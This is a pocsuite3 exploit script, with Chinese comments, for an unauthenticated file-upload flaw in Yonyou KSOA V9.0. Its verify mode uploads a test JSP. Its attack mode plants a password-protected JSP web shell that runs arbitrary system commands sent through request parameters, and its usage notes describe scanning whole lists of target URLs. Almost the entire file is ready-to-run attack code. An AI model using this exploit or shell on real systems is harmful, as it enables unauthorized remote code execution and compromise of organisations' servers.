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yongyou_ksoa_upload_rce.py
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from collections import OrderedDict
import re,random,hashlib,base64
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OptString
from urllib.parse import urljoin
from pocsuite3.lib.utils import random_str
from requests_toolbelt.multipart.encoder import MultipartEncoder
class DemoPOC(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' #默认为1
author = [''] # PoC作者的大名
vulDate = '2022-07-28' #漏洞公开的时间,不知道就写今天
createDate = '2022-07-28' # 编写 PoC 的日期
updateDate = '2022-07-28' # PoC 更新的时间,默认和编写时间一样
references = [''] # 漏洞地址来源,0day不用写
name = '用友-时空KSOA前台文件上传漏洞' # PoC 名称
appPowerLink = 'www.yonyou.com' # 漏洞厂商主页地址
appName = '用友企业信息系统门户' # 漏洞应用名称
appVersion = '''V9.0''' # 漏洞影响版本
samples = ['http://192.168.3.8'] # 测试样列，就是用 PoC 测试成功的目标
vulType = "File Upload" #漏洞类型,类型参考见 漏洞类型规范表
desc = '''
# usage :
pocsuite -r pocs/yongyou_ksoa_upload_rce.py -f urls.txt --verify
pocsuite -r pocs/yongyou_ksoa_upload_rce.py -f urls.txt --attack
pocsuite -r pocs/yongyou_ksoa_upload_rce.py -u http://192.168.3.8 --verify
pocsuite -r pocs/yongyou_ksoa_upload_rce.py -u http://192.168.3.8 --attack
# keyword :
app="用友-时空KSOA"
'''
def _options(self):
o = OrderedDict()
return o
def _verify(self):
result = {}
str_num = str(random.randint(1000000000,9999999999))
base64_num = base64.b64encode(str_num.encode('utf-8')).decode('ascii')
path="/servlet/com.sksoft.bill.ImageUpload?filepath=/&filename={name}.jsp".format(name=str_num)
#print(path)
url = self.url + path
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'
}
data = """<% out.println(new String(new sun.misc.BASE64Decoder().decodeBuffer("{base64}"))); %>""".format(base64=base64_num)
try:
resq = requests.post(url=url,data=data,headers=headers,timeout=5)
return_path = re.search('(?<=<root>).*(?=</root>)',resq.text).group(0)
#print(return_path)
resq_verify = requests.get(url=self.url+return_path,headers=headers,timeout=5)
if return_path in resq.text and str_num in resq_verify.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url + return_path
except Exception as e:
return
return self.parse_output(result)
def _attack(self):
result = {}
str_num = str(random.randint(1000000000,9999999999))
path="/servlet/com.sksoft.bill.ImageUpload?filepath=/&filename={name}.jsp".format(name=str_num)
url = self.url + path
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36'
}
# jsp shell
data = """<% out.println(new String("happy day"));if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>"""
resq = requests.post(url=url,data=data,headers=headers,timeout=5)
return_path = re.search('(?<=<root>).*(?=</root>)',resq.text).group(0)
# print(return_path)
resq_verify = requests.get(url=self.url+return_path,headers=headers,timeout=5)
if return_path in resq.text and "happy day" in resq_verify.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url + return_path + "?pwd=023&i=whoami"
return self.parse_output(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _shell(self):
return
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(DemoPOC)